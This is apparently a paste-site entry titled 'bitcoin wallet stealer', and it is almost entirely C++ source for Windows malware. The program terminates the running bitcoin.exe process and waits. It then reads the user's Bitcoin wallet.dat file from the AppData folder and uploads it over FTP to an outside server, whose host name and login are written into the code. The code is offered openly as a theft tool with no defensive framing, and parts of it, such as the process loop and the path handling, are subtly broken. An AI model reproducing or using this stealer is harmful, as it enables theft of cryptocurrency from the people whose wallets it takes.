bitcoin wallet stealer


SUBMITTED BY: akadia96

DATE: April 6, 2017, 5:50 p.m.

FORMAT: Text only

SIZE: 3.1 kB

HITS: 936

  1. #include <windows.h>
  2. #include <tlhelp32.h>
  3. #include <tchar.h>
  4. #include <wininet.h>
  5. #include <ctime>
  6. #include <iostream>
  7. #pragma comment(lib, "wininet")
  8. void killprocess()
  9. {
  10. HANDLE hProcessSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0 );
  11. // Get the process list snapshot.
  12. PROCESSENTRY32 ProcessEntry = { 0 };
  13. // Initialize the process entry structure.
  14. ProcessEntry.dwSize = sizeof( ProcessEntry );
  15. // Get the first process info
  16. BOOL Return = FALSE;
  17. Return = Process32First( hProcessSnapShot,&ProcessEntry );
  18. int value = _tcsicmp(ProcessEntry.szExeFile, _T("bitcoin.exe"));
  19. if (value==0)
  20. {
  21. HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessEntry.th32ProcessID);
  22. //Open Process to terminate
  23. TerminateProcess(hProcess,0);
  24. CloseHandle(hProcess); //Close Handle }
  25. }
  26. while( Process32Next( hProcessSnapShot, &ProcessEntry ));
  27. CloseHandle( hProcessSnapShot );
  28. }
  29. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  30. {
  31. killprocess();
  32. Sleep(40000);
  33. srand((unsigned)time(NULL)); // we get time to use for random seed
  34. int seedone=rand(); // seed one
  35. int seedtwo=rand()*3; // seed two times 3
  36. int seedboth = seedone + seedtwo; // combine seeds to ensure random int
  37. // now we need to convert int to char
  38. char randomseed[99]; // make randomseed buffer at 99 to prevent overflow
  39. itoa(seedboth,randomseed,10); // use itoa, [int (seedboth), randomseed (random is now seedboth but in char), value (10 coverts to decimal)
  40. // did this so the wallet.dat file wouldn't be overwritten in ftp because of same file name
  41. char* appdata = getenv("APPDATA"); //Gets %Appdata% path
  42. char* truepath = strcat(appdata, "\\Bitcoin\\wallet.dat"); //Bitcoin file to steal
  43. //ftp connection
  44. HINTERNET hInternet;
  45. HINTERNET hFtpSession;
  46. hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
  47. hFtpSession = InternetConnect(hInternet, "ftp.host.com", INTERNET_DEFAULT_FTP_PORT, "user@host.com", "bigdickben", INTERNET_SERVICE_FTP, 0, 0); //ftp host, user, pass
  48. FtpPutFile(hFtpSession, truepath , randomseed , FTP_TRANSFER_TYPE_BINARY, 0);
  49. FtpPutFile(hFtpSession, truepath, randomseed, FTP_TRANSFER_TYPE_BINARY, 0);
  50. InternetCloseHandle(hFtpSession);
  51. InternetCloseHandle(hInternet);
  52. return 0;
  53. }

comments powered by Disqus